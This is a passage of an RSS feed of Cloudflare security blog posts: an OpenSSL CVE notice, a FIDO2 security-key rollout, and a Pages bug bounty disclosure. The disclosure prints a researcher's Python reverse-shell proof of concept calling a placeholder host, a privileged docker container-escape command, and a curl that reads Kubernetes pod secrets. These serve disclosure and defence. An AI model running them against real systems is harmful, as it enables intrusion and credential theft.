
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Tue, 14 Apr 2026 16:33:13 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Cloudflare is not affected by the OpenSSL vulnerabilities CVE-2022-3602 and CVE-2022-3786]]></title>
            <link>https://blog.cloudflare.com/cloudflare-is-not-affected-by-the-openssl-vulnerabilities-cve-2022-3602-and-cve-2022-37/</link>
            <pubDate>Wed, 02 Nov 2022 09:31:15 GMT</pubDate>
            <description><![CDATA[ Information on CVE-2022-3602 and CVE-2022-3786, and why Cloudflare was not impacted ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Yesterday, November 1, 2022, OpenSSL released version 3.0.7 to patch <a href="https://www.openssl.org/news/secadv/20221101.txt">CVE-2022-3602 and CVE-2022-3786</a>, two HIGH risk vulnerabilities in the OpenSSL 3.0.x cryptographic library. Cloudflare is not affected by these vulnerabilities because <a href="/make-ssl-boring-again/">we use BoringSSL</a> in our products.</p><p>These vulnerabilities are memory corruption issues, in which attackers may be able to execute arbitrary code on a victim’s machine. CVE-2022-3602 was initially announced as a CRITICAL severity vulnerability, but it was downgraded to HIGH because it was deemed difficult to exploit with <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution (RCE)</a>. Unlike previous situations where users of OpenSSL were almost universally vulnerable, software that is using other versions of OpenSSL (like 1.1.1) are not vulnerable to this attack.</p>
    <div>
      <h3>How do these issues affect clients and servers?</h3>
      <a href="#how-do-these-issues-affect-clients-and-servers">
        
      </a>
    </div>
    <p>These vulnerabilities reside in the code responsible for X.509 certificate verification - most often executed on the client side to <a href="https://www.cloudflare.com/learning/ssl/what-happens-in-a-tls-handshake/">authenticate the server and the certificate presented</a>. In order to be impacted by this vulnerability the victim (client or server) needs a few conditions to be true:</p><ul><li><p>A malicious certificate needs to be signed by a Certificate Authority that the victim trusts.</p></li><li><p>The victim needs to validate the malicious certificate or ignore a series of warnings from the browser.</p></li><li><p>The victim needs to be running OpenSSL 3.0.x before 3.0.7.</p></li></ul><p>For a client to be affected by this vulnerability, they would have to visit a malicious site that presents a certificate containing an exploit payload. In addition, this malicious certificate would have to be signed by a trusted certificate authority (CA).</p><p>Servers with a vulnerable version of OpenSSL can be attacked if they support mutual authentication - a scenario where both client and a server provide a valid and signed X.509 certificate, and the client is able to present a certificate with an exploit payload to the server.</p>
    <div>
      <h3>How should you handle this issue?</h3>
      <a href="#how-should-you-handle-this-issue">
        
      </a>
    </div>
    <p>If you’re managing services that run OpenSSL: you should patch vulnerable OpenSSL packages. On a Linux system you can determine if you have any processes dynamically loading OpenSSL with the <code>lsof</code> command. Here’s an example of finding OpenSSL being used by NGINX.</p>
            <pre><code>root@55f64f421576:/# lsof | grep libssl.so.3
nginx   1294     root  mem       REG              254,1           925009 /usr/lib/x86_64-linux-gnu/libssl.so.3 (path dev=0,142)</code></pre>
            <p>Once the package maintainers for your Linux distro release OpenSSL 3.0.7 you can patch by updating your package sources and upgrading the libssl3 package. On Debian and Ubuntu this can be done with the apt-get upgrade command</p>
            <pre><code>root@55f64f421576:/# apt-get --only-upgrade install libssl3</code></pre>
            <p>With that said, it’s possible that you could be running a vulnerable version of OpenSSL that the <code>lsof</code> command can’t find because your process is statically compiled. It’s important to update your statically compiled software that you are responsible for maintaining, and make sure that over the coming days you are updating your operating system and other installed software that might contain the vulnerable OpenSSL versions.</p>
    <div>
      <h3>Key takeaways</h3>
      <a href="#key-takeaways">
        
      </a>
    </div>
    <p>Cloudflare’s use of BoringSSL helped us be confident that the issue would not impact us prior to the release date of the vulnerabilities.</p><p>More generally, the vulnerability is a reminder that memory safety is still an important issue. This issue may be difficult to exploit because it requires a maliciously crafted certificate that is signed by a trusted CA, and certificate issuers are likely to begin validating that the certificates they sign don’t contain payloads that exploit these vulnerabilities.  However, it’s still important to patch your software and upgrade your vulnerable OpenSSL packages to OpenSSL 3.0.7 given the severity of the issue.</p><p><i>To learn more about our mission to help build a better Internet,</i> <a href="https://www.cloudflare.com/learning/what-is-cloudflare/"><i>start here</i></a><i>. If you're looking for a new career direction, check out</i> <a href="https://cloudflare.com/careers"><i>our open positions</i></a><i>.</i></p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">2DyDy3WGm4DFxuZUAsUgc7</guid>
            <dc:creator>Evan Johnson</dc:creator>
            <dc:creator>Michal Melewski</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare implemented hardware keys with FIDO2 and Zero Trust to prevent phishing]]></title>
            <link>https://blog.cloudflare.com/how-cloudflare-implemented-fido2-and-zero-trust/</link>
            <pubDate>Thu, 29 Sep 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ Adopting a phishing resistant second factor, like a YubiKey with FIDO2, is the number one way to prevent phishing attacks. Cloudflare has used phishing resistant second factors only since February 2021, and these were the steps we took to accomplish that. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Cloudflare’s security architecture a few years ago was a classic “castle and moat” VPN architecture. Our employees would use our corporate VPN to connect to all the internal applications and servers to do their jobs. We enforced two-factor authentication with time-based one-time passcodes (TOTP), using an authenticator app like Google Authenticator or Authy when logging into the VPN but only a few internal applications had a second layer of auth. That architecture has a strong looking exterior, but the security model is weak. We recently detailed <a href="/2022-07-sms-phishing-attacks/">the mechanics of a phishing attack we prevented</a>, which walks through how attackers can phish applications that are “secured” with second factor authentication methods like TOTP. Happily, we had long done away with TOTP and replaced it with hardware security keys and Cloudflare Access. This blog details how we did that.</p><p>The solution to the phishing problem is through a <a href="https://www.cloudflare.com/learning/access-management/what-is-multi-factor-authentication/">multi-factor  authentication (MFA)</a> protocol called <i>FIDO2/WebAuthn</i>. Today, all Cloudflare employees log in with FIDO2 as their secure multi-factor and authenticate to our systems using our own <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> products. Our newer architecture is phish proof and allows us to more easily enforce the least privilege access control.</p>
    <div>
      <h3>A little about the terminology of security keys and what we use</h3>
      <a href="#a-little-about-the-terminology-of-security-keys-and-what-we-use">
        
      </a>
    </div>
    <p>In 2018, we knew we wanted to migrate to phishing-resistant MFA. We had seen <a href="https://github.com/kgretzky/evilginx2">evilginx2</a> and the maturity around phishing push-based mobile authenticators, and TOTP. The only phishing-resistant MFA that withstood social engineering and credential stealing attacks were security keys that implement FIDO standards. FIDO-based MFA introduces new terminology, such as FIDO2, WebAuthn, hard(ware) keys, security keys, and specifically, the YubiKey (the name of a well-known manufacturer of hardware keys), which we will reference throughout this post.</p><p><b>WebAuthn</b> refers to the <a href="https://www.w3.org/TR/webauthn-2/">web authentication standard</a>, and we wrote in depth about how that protocol works when we released <a href="/cloudflare-now-supports-security-keys-with-web-authentication-webauthn/">support for security keys in the Cloudflare dashboard</a>.</p><p><b>CTAP1(U2F) and CTAP2</b> refers to the client to authenticator protocol which details how software or hardware devices interact with the platform performing the WebAuthn protocol.</p><p><b>FIDO2</b> is the collection of these two protocols being used for authentication. The distinctions aren’t important, but the nomenclature can be confusing.</p><p>The most important thing to know is all of these protocols and standards were developed to create open authentication protocols that are phishing-resistant and can be implemented with a hardware device. In software, they are implemented with Face ID, Touch ID, Windows Assistant, or similar. In hardware a YubiKey or other separate physical device is used for authentication with USB, Lightning, or NFC.</p><p>FIDO2 is phishing-resistant because it implements a challenge/response that is cryptographically secure, and the challenge protocol incorporates the specific website or domain the user is authenticating to. When logging in, the security key will produce a different response on example.net than when the user is legitimately trying to log in on example.com.</p><p>At Cloudflare, we’ve issued multiple types of security keys to our employees over the years, but we currently issue two different FIPS-validated security keys to all employees. The first key is a YubiKey 5 Nano or YubiKey 5C Nano that is intended to stay in a USB slot on our employee laptops at all times. The second is the YubiKey 5 NFC or YubiKey 5C NFC that works on desktops and on mobile either through NFC or USB-C.</p><p>In late 2018 we distributed security keys at a whole company event. We asked all employees to enroll their keys, authenticate with them, and ask questions about the devices during a short workshop. The program was a huge success, but there were still rough edges and applications that didn’t work with WebAuthn. We weren’t ready for full enforcement of security keys and needed some middle-ground solution while we worked through the issues.</p>
    <div>
      <h3>The beginning: selective security key enforcement with Cloudflare Zero Trust</h3>
      <a href="#the-beginning-selective-security-key-enforcement-with-cloudflare-zero-trust">
        
      </a>
    </div>
    <p>We have thousands of applications and servers we are responsible for maintaining, which were protected by our VPN. We started <a href="https://www.cloudflare.com/learning/access-management/how-to-implement-zero-trust/">migrating</a> all of these applications to our Zero Trust access proxy at the same time that we issued our employees their set of security keys.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7z0izoSKAEICEWz1ExjagE/759d732a44cd0d0a4e3558ea29703405/image4-24.png" />
            
            </figure><p>Cloudflare Access allowed our employees to securely access sites that were once protected by the VPN. Each internal service would validate a signed credential to authenticate a user and ensure the user had signed in with our identity provider. Cloudflare Access <i>was necessary</i> for our rollout of security keys because it gave us a tool to selectively enforce the first few internal applications that would require authenticating with a security key.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2NfwXv0gUUeZvJ8MyCQnMb/e71d44fb185a171800ce164dcf1849ff/image6-13.png" />
            
            </figure><p>We used Terraform when onboarding our applications to our <a href="https://www.cloudflare.com/zero-trust/solutions/">Zero Trust products</a> and this is the Cloudflare Access policy where we first enforced security keys. We set up Cloudflare Access to use OAuth2 when integrating with our identity provider and the identity provider informs Access about which type of second factor was used as part of the OAuth flow.</p><p>In our case, <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-amr-values-04">swk</a> is a proof of possession of a security key. If someone logged in and didn’t use their security key they would be shown a helpful error message instructing them to log in again and press on their security key when prompted.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/72cbptDgJcHyaqg8MVsJrU/f231888bb983e593e265e2cf32a96704/image2-62.png" />
            
            </figure><p>Selective enforcement instantly changed the trajectory of our security key rollout. We began enforcement on a single service on July 29, 2020, and authentication with security keys massively increased over the following two months. This step was critical to give our employees an opportunity to familiarize themselves with the new technology. A window of selective enforcement should be at least a month to account for people on vacation, but in hindsight it doesn’t need to be much longer than that.</p><p>What other security benefits did we get from moving our applications to use our Zero Trust products and off of our VPN? With legacy applications, or applications that don’t implement SAML, this migration was necessary for enforcement of role based access control and the principle of the least privilege. A VPN will authenticate your network traffic but all of your applications will have no idea who the network traffic belongs to. Our applications struggled to enforce multiple levels of permissions and each had to re-invent their own auth scheme.</p><p>When we onboarded to Cloudflare Access we created groups to enforce <a href="https://www.cloudflare.com/learning/access-management/role-based-access-control-rbac/">RBAC</a> and tell our applications what permission level each person should have.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3EZfrzqPeyfD7TUf39kdao/663301d89fe227e8f8208398eb049347/image5-23.png" />
            
            </figure><p>Here’s a site where only members of the ACL-CFA-CFDATA-argo-config-admin-svc group have access. It enforces that the employee used their security key when logging in, and no complicated OAuth or SAML integration was needed for this. We have over 600 internal sites using this same pattern and all of them enforce security keys.</p>
    <div>
      <h3>The end of optional: the day Cloudflare dropped TOTP completely</h3>
      <a href="#the-end-of-optional-the-day-cloudflare-dropped-totp-completely">
        
      </a>
    </div>
    <p>In February 2021, our employees started to report social engineering attempts to our security team. They were receiving phone calls from someone claiming to be in our IT department, and we were alarmed. We decided to begin requiring security keys to be used for all authentication to prevent any employees from being victims of the social engineering attack.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6mQQiEEno9jPICKiUCm3kk/0d2179a903c2e60f7d8cf0feb8471493/image1-74.png" />
            
            </figure><p>After disabling all other forms of MFA (SMS, TOTP etc.), except for WebAuthn, we were officially FIDO2 only. “Soft token” (TOTP) isn’t perfectly at zero on this graph though. This is caused because those who lose their security keys or become locked out of their accounts need to go through a secure offline recovery process where logging in is facilitated through an alternate method. Best practice is to distribute multiple security keys for employees to allow for a back-up, in case this situation arises.</p><p>Now that all employees are using their YubiKeys for phishing-resistant MFA are we finished? Well, what about <a href="https://www.cloudflare.com/learning/access-management/what-is-ssh/">SSH</a> and non-HTTP protocols? We wanted a single unified approach to <a href="https://www.cloudflare.com/learning/access-management/what-is-identity-and-access-management/">identity and access management</a> so bringing security keys to arbitrary other protocols was our next consideration.</p>
    <div>
      <h3>Using security keys with SSH</h3>
      <a href="#using-security-keys-with-ssh">
        
      </a>
    </div>
    <p>To support bringing security keys to SSH connections we deployed <a href="https://www.cloudflare.com/products/tunnel/">Cloudflare Tunnel</a> to all of our production infrastructure. Cloudflare Tunnel seamlessly integrates with Cloudflare Access regardless of the protocol transiting the tunnel, and running a tunnel requires the tunnel client <a href="https://github.com/cloudflare/cloudflared">cloudflared</a>. This means that we could deploy the cloudflared binary to all of our infrastructure and create a tunnel to each machine, create Cloudflare Access policies where security keys are required, and ssh connections would start requiring security keys through Cloudflare Access.</p><p>In practice these steps are less intimidating than they sound and the Zero Trust developer docs have a <a href="https://developers.cloudflare.com/cloudflare-one/tutorials/ssh-cert-bastion/">fantastic tutorial</a> on how to do this. Each of our servers have a configuration file required to start the tunnel. Systemd invokes cloudflared which uses this (or similar) configuration file when starting the tunnel.</p>
            <pre><code>tunnel: 37b50fe2-a52a-5611-a9b1-ear382bd12a6
credentials-file: /root/.cloudflared/37b50fe2-a52a-5611-a9b1-ear382bd12a6.json

ingress:
  - hostname: &lt;identifier&gt;.ssh.cloudflare.com
    service: ssh://localhost:22
  - service: http_status:404</code></pre>
            <p>When an operator needs to SSH into our infrastructure they use the ProxyCommand SSH directive to invoke cloudflared, authenticate using Cloudflare Access, and then forward the SSH connection through Cloudflare. Our employees’ SSH configurations have an entry that looks kind of like this, and can be generated with a helper command in cloudflared:</p>
            <pre><code>Host *.ssh.cloudflare.com
    ProxyCommand /usr/local/bin/cloudflared access ssh –hostname %h.ssh.cloudflare.com</code></pre>
            <p>It’s worth noting that OpenSSH has supported FIDO2 since <a href="https://www.openssh.com/txt/release-8.2">version 8.2</a>, but we’ve found there are benefits to having a unified approach to access control where all access control lists are maintained in a single place.</p>
    <div>
      <h3>What we’ve learned and how our experience can help you</h3>
      <a href="#what-weve-learned-and-how-our-experience-can-help-you">
        
      </a>
    </div>
    <p>There’s no question after the past few months that the future of authentication is FIDO2 and WebAuthn. In total this took us a few years, and we hope these learnings can prove helpful to other organizations who are looking to modernize with FIDO-based authentication.</p><p>If you’re interested in rolling out security keys at your organization, or you’re interested in Cloudflare’s Zero Trust products, reach out to us at <a href="#">securitykeys@cloudflare.com</a>. Although we’re happy that our <a href="https://www.cloudflare.com/learning/email-security/how-to-prevent-phishing/">preventative efforts</a> helped us resist the latest round of phishing and social engineering attacks, our <a href="https://www.cloudflare.com/careers/jobs/?department=Security">security team</a> is still growing to help prevent whatever comes next.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[Cloudflare Zero Trust]]></category>
            <guid isPermaLink="false">6isY2SPrEWA0iIZ9XgEUmq</guid>
            <dc:creator>Evan Johnson</dc:creator>
            <dc:creator>Derek Pitts</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Cloudflare Bug Bounty program and Cloudflare Pages]]></title>
            <link>https://blog.cloudflare.com/pages-bug-bounty/</link>
            <pubDate>Fri, 06 May 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ The Cloudflare Bug Bounty has resulted in numerous security improvements to Cloudflare Pages ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>The Cloudflare Pages team recently collaborated closely with security researchers at</i> <a href="https://assetnote.io/"><i>Assetnote</i></a> <i>through our</i> <a href="https://hackerone.com/cloudflare"><i>Public Bug Bounty</i></a><i>. Throughout the process we found and have fully patched vulnerabilities discovered in Cloudflare Pages. You can read their detailed</i> <a href="https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt1/"><i>write-up here</i></a><i>. There is no outstanding risk to Pages customers. In this post we share information about the research that could help others make their infrastructure more secure, and also highlight our bug bounty program that helps to make our product more secure.</i></p><p>Cloudflare cares deeply about security and protecting our users and customers — in fact, it’s a big part of the reason we’re here. But how does this manifest in terms of how we run our business? There are a number of ways. One very important prong of this is our <a href="/cloudflare-bug-bounty-program/">bug bounty program</a> that facilitates and rewards security researchers for their collaboration with us.</p><p>But we don’t just fix the security issues we learn about — in order to build trust with our customers and the community more broadly, we are transparent about incidents and bugs that we find.</p><p>Recently, we worked with a group of researchers on improving the security of Cloudflare Pages. This collaboration resulted in several security vulnerability discoveries that we quickly fixed. We have no evidence that malicious actors took advantage of the vulnerabilities found. Regardless, we notified the limited number of customers that might have been exposed.</p><p>In this post we are publicly sharing what we learned, and the steps we took to remediate what was identified. We are thankful for the collaboration with the researchers, and encourage others to <a href="http://hackerone.com/cloudflare">use the bounty program</a> to work with us to help us make our services — and by extension the Internet — more secure!</p>
    <div>
      <h2>What happens when a vulnerability is reported?</h2>
      <a href="#what-happens-when-a-vulnerability-is-reported">
        
      </a>
    </div>
    <p>Once a vulnerability has been reported via HackerOne, it flows into our vulnerability management process:</p><ol><li><p>We investigate the issue to understand the criticality of the report.</p></li><li><p>We work with the engineering teams to scope, implement, and validate a fix to the problem. For urgent problems we start working with engineering immediately, and less urgent issues we track and prioritize alongside engineering’s normal bug fixing cadences.</p></li><li><p>Our Detection and Response team investigates high severity issues to see whether the issue was exploited previously.</p></li></ol><p>This process is flexible enough that we can prioritize important fixes same-day, but we never lose track of lower criticality issues.</p>
    <div>
      <h2>What was discovered in Cloudflare Pages?</h2>
      <a href="#what-was-discovered-in-cloudflare-pages">
        
      </a>
    </div>
    <p>The Pages team had to solve a pretty difficult problem for Cloudflare Builds (our <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">CI/CD build pipeline</a>): how can we run untrusted code safely in a multi-tenant environment? Like all complex engineering problems, getting this right has been an iterative process. In all cases, we were able to quickly and definitively address bugs reported by security researchers. However, as we continued to work through reports by the researchers, it became clear that our initial build architecture decisions provided too large an <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface</a>. The Pages team pivoted entirely and re-architected our platform in order to use gVisor and further isolate builds.</p><p>When determining impact, it is not enough to find no evidence that a bug was exploited, <i>we must conclusively prove that it was not exploited</i>. For almost all the bugs reported, we found definitive signals in audit logs and were able to correlate that data exclusively against activity by trusted security researchers.</p><p>However, for one bug, <i>while we found no evidence that the bug was exploited beyond the work of security researchers</i>, we were not able meaningfully prove that it was not. In the spirit of full transparency, we notified all Pages users that may have been impacted.</p><p>Now that all the issues have been remedied, and individual customers have been notified, we’d like to share more information about the issues.</p>
    <div>
      <h3>Bug 1: Command injection in CLONE_REPO</h3>
      <a href="#bug-1-command-injection-in-clone_repo">
        
      </a>
    </div>
    <p>With a flaw in our logic during build initialization, it was possible to execute arbitrary code, echo environment variables to a file and then read the contents of that file.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4xCsRLGOMLRsVRAAbQBjXM/98cc4254afa79a1e21b503f2a3cb94a4/image2-1.png" />
            
            </figure><p>The crux of the bug was that <code>root_dir</code> in this line of code was attacker controlled. After gaining control the researcher was able to specially craft a malicious <code>root_dir</code> to dump the environment variables of the process to a file. Those environment variables contained our GitHub bot’s authorization key. This would have allowed the attacker to read the repositories of other Pages' customers, and many of those repositories are private.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/61X1OXGLWGeBCkSmeQb8nj/275441334f56e028dd27971b642a2317/image1-6.png" />
            
            </figure><p>After fixing the input validation for this field to prevent the bug, and rolling the disclosed keys, we investigated all other paths that had ever been set by our Pages customers to see if this attack had ever been performed by any other (potentially malicious) security researchers. We had logs showing that this was the first this particular attack had ever been performed, and responsibly reported.</p>
    <div>
      <h3>Bug 2: Command injection in PUBLISH_ASSETS</h3>
      <a href="#bug-2-command-injection-in-publish_assets">
        
      </a>
    </div>
    <p>This bug is nearly identical to the first one, but on the publishing step instead of the clone step. We went to work rotating the secrets that were exposed, fixing the input validation issues, and rotating the exposed secrets. We investigated the Cloudflare audit logs to confirm that the sensitive credentials had not been used by anyone other than our build infrastructure, and within the scope of the security research being performed.</p>
    <div>
      <h3>Bug 3: Cloudflare API key disclosure in the asset publishing process</h3>
      <a href="#bug-3-cloudflare-api-key-disclosure-in-the-asset-publishing-process">
        
      </a>
    </div>
    <p>While building customer pages, a program called /opt/pages/bin/pages-metadata-generator is involved. This program had the Linux permissions of 777, allowing all users on the machine to read the program, execute the program, but most importantly overwrite the program. If you can overwrite the program prior to its invocation, the program might run with higher permissions when the next user comes along and wants to use it.</p><p>In this case the attack is simple. When a Pages build runs, the following <code>build.sh</code> is specified to run, and it can overwrite the executable with a new one.</p>
            <pre><code>#!/bin/bash
cp pages-metadata-generator /opt/pages/bin/pages-metadata-generator</code></pre>
            <p>This allows the attacker to provide their own <code>pages-metadata-generator</code> program that is run with a populated set of environment variables. The proof of concept provided to Cloudflare was this minimal reverse shell.</p>
            <pre><code>#!/bin/bash
echo "henlo fren"
export &gt; /tmp/envvars
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x.x",9448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</code></pre>
            <p>With a reverse shell, the attackers only need to run `env` to see a list of environment variables that the program was invoked with. We fixed the file permissions of the process, rotated the credentials, and investigated in Cloudflare audit logs to confirm that the sensitive credentials had not been used by anyone other than our build infrastructure, and within the scope of the security research.</p>
    <div>
      <h3>Bug 4: Bash path injection</h3>
      <a href="#bug-4-bash-path-injection">
        
      </a>
    </div>
    <p>This issue was very similar to Bug 3. The PATH environment variable contained a large set of directories for maximum compatibility with different developer tools.</p><p><code>PATH=/opt/buildhome/.swiftenv/bin:/opt/buildhome/.swiftenv/shims:/opt/buildhome/.php:/opt/buildhome/.binrc/bin:/usr/local/rvm/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/buildhome/.cask/bin:/opt/buildhome/.gimme/bin:/opt/buildhome/.dotnet/tools:/opt/buildhome/.dotnet</code></p><p>Unfortunately not all of these directories were set to the proper filesystem permissions allowing a malicious version of the program bash to be written to them, and later invoked by the Pages build process. We patched this bug, rotated the impacted credentials, and investigated in Cloudflare audit logs to confirm that the sensitive credentials had not been used by anyone other than our build infrastructure, and within the scope of the security research.</p>
    <div>
      <h3>Bug 5: Azure pipelines escape</h3>
      <a href="#bug-5-azure-pipelines-escape">
        
      </a>
    </div>
    <p>Back when this research was conducted we were running Cloudflare Pages on Azure Pipelines. Builds were taking place in highly privileged containers and the containers had the docker socket available to them. Once the researchers had root within these containers, escaping them was trivial after installing docker and mounting the root directory of the host machine.</p>
            <pre><code>sudo docker run -ti --privileged --net=host -v /:/host -v /dev:/dev -v /run:/run ubuntu:latest</code></pre>
            <p>Once they had root on the host machine, they were able to recover Azure DevOps credentials from the host which gave access to the Azure Organization that Cloudflare Pages was running within.</p><p>The credentials that were recovered gave access to highly audited APIs where we could validate that this issue was not previously exploited outside this security research.</p>
    <div>
      <h3>Bug 6: Pages on Kubernetes</h3>
      <a href="#bug-6-pages-on-kubernetes">
        
      </a>
    </div>
    <p>After receipt of the above bugs,  we decided to change the architecture  of Pages. One of these changes was migration of the product from Azure to Kubernetes, and simplifying the workflow, so the attack surface was smaller and defensive programming practices were easier to implement. After the change, Pages builds are within Kubernetes Pods and are seeded with the minimum set of credentials needed.</p><p>As part of this migration, we left off a very important iptables rule in our Kubernetes control plane, making it easy to <code>curl</code> the Kubernetes API and read secrets related to other Pods in the cluster (each Pod representing a separate Pages build).</p>
            <pre><code>curl -v -k [http://10.124.200.1:10255/pods](http://10.124.200.1:10255/pods)</code></pre>
            <p>We quickly patched this issue with iptables rules to block network connections to the Kubernetes control plane. One of the secrets available to each Pod was the GitHub OAuth secret which would have allowed someone who exploited this issue to read the GitHub repositories of other Pages' customers.</p><p>In the previously reported issues we had robust logs that showed us that the attacks that were being performed had never been performed by anyone else. The logs related to inspecting Pods were not available to us, so we decided to notify all Cloudflare Pages customers that had ever had a build run on our Kubernetes-based infrastructure. After patching the issue and investigating which customers were impacted, we emailed impacted customers on February 3 to tell them that it’s possible someone other than the researcher had exploited this issue, because our logs couldn’t prove otherwise.</p>
    <div>
      <h2>Takeaways</h2>
      <a href="#takeaways">
        
      </a>
    </div>
    <p>We are thankful for all the security research performed on our Pages product, and done so at such an incredible depth. CI/CD and build infrastructure security problems are notoriously hard to prevent. A bug bounty that incentivizes researchers to keep coming back is invaluable, and we appreciate working with researchers who were flexible enough to perform great research, and work with us as we re-architected the product for more robustness. An in-depth write-up of these issues is available from the Assetnote team on <a href="https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt1/">their website</a>.</p><p>More than this, however, the work of all these researchers is one of the best ways to test the security architecture of any product. While it might seem counter-intuitive after a post listing out a number of bugs, all these diligent eyes on our products allow us to feel much more confident in the security architecture of Cloudflare Pages. We hope that our transparency, and our description of the work done on our security posture, enables you to feel more confident, too.</p><p>Finally: if you are a security researcher, we’d love to work with you to make our products more secure. Check out <a href="https://hackerone.com/cloudflare">hackerone.com/cloudflare</a> for more info!</p> ]]></content:encoded>
            <category><![CDATA[Bug Bounty]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">1EuGlcHFo9aPl8DaujMbpQ</guid>
            <dc:creator>Evan Johnson</dc:creator>
            <dc:creator>Natalie Rogers</dc:creator>
        </item>
        <item>
            <title><![CDATA[Securing Cloudflare Using Cloudflare]]></title>
            <link>https://blog.cloudflare.com/securing-cloudflare-using-cloudflare/</link>
            <pubDate>Fri, 18 Mar 2022 21:04:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare is committed to bolstering our security posture with best-in-class solutions — which is why we often turn to our own products as any other Cloudflare customer would. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>When a new security threat arises — a publicly exploited vulnerability (like <a href="/tag/log4j/">log4j</a>) or the shift from corporate-controlled environments to remote work or a potential threat actor — it is the Security team’s job to respond to protect Cloudflare’s network, customers, and employees. And as security threats evolve, so should our defense system. Cloudflare is committed to bolstering our security posture with best-in-class solutions — which is why we often turn to our own products as any other Cloudflare customer would.</p><p>We’ve written about using <a href="/dogfooding-from-home/">Cloudflare Access to replace our VPN</a>, <a href="/access-purpose-justification/">Purpose Justification</a> to create granular access controls, and <a href="/using-cloudflare-one-to-secure-iot-devices/">Magic + Gateway</a> to prevent lateral movement from in-house. We experience the same security needs, wants, and concerns as security teams at enterprises worldwide, so we rely on the same solutions as the Fortune 500 companies that trust Cloudflare for improved security, performance, and speed. Using our own products is embedded in our team’s culture.</p>
    <div>
      <h3>Security Challenges, Cloudflare Solutions</h3>
      <a href="#security-challenges-cloudflare-solutions">
        
      </a>
    </div>
    <p>We’ve built the muscle to think Cloudflare-first when we encounter a security threat. In fact, many security problems we encounter have a Cloudflare solution.</p><ul><li><p><b>Problem</b>: <a href="https://www.cloudflare.com/products/zero-trust/remote-workforces/">Remote work</a> creates a security blind spot of remote devices and networks.</p></li><li><p><b>Solution</b>: Deploying Cloudflare Gateway and WARP to shield users and devices from threats, no matter their device or network connection.</p></li></ul><p>Our Detection &amp; Response team has regained visibility into security threats by connecting corporate devices to Gateway through our Cloudflare WARP application. These <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> products shield users and devices from security threats like malware, phishing, shadow IT and more, as well as enable our Security team to instantly block threats and prevent sensitive data from leaving our organization — with no performance impact for our employees, no matter their location.</p><ul><li><p><b>Problem</b>: Larger company footprint (in size and location) increases the complexity of internal tooling.</p></li><li><p><b>Solution</b>: Deploying Cloudflare Access and Purpose Justification to give network administrators granular and contextual application access controls.</p></li></ul><p>Our Identity and Access Management team uses Access to create policies that minimize data access, ensuring that our employees only have access to what they need. Flexibility and instantaneous application of policies allow for ease of scalability as our internal tooling and teams evolve. With Purpose Justification Capture, employees must also justify their use case for visiting domains with particularly sensitive data — which not only solves an internal need for Cloudflare, but helps our customers meet data policy requirements (like GDPR).</p><ul><li><p><b>Problem</b>: Engineering and Product teams move at a rapid pace. Conducting a manual review of every pull request is not scalable.</p></li><li><p><b>Solution</b>: A tool built on top of Workers that enables scanning of PRs for security bugs.</p></li></ul><p>Our Product Security Engineering team uses Cloudflare’s development platform Workers to seamlessly deploy a code review assist framework to flag secrets, vulnerability dependencies, and binary security flags. The flexibility of Workers enables the Security team to evolve the tool depending on security concerns and scale it to the hundreds of PRs the company generates per week.</p><p>These are just some of the ways the Security team has used Cloudflare’s products to block malicious domains, streamline access management, provide visibility into threats, and harden our overall security posture. To give a sense of how we think about these challenges technically, we will dive into the implementation of a use of Cloudflare to secure Cloudflare.</p>
    <div>
      <h3>Phish-proof websites using Cloudflare Access</h3>
      <a href="#phish-proof-websites-using-cloudflare-access">
        
      </a>
    </div>
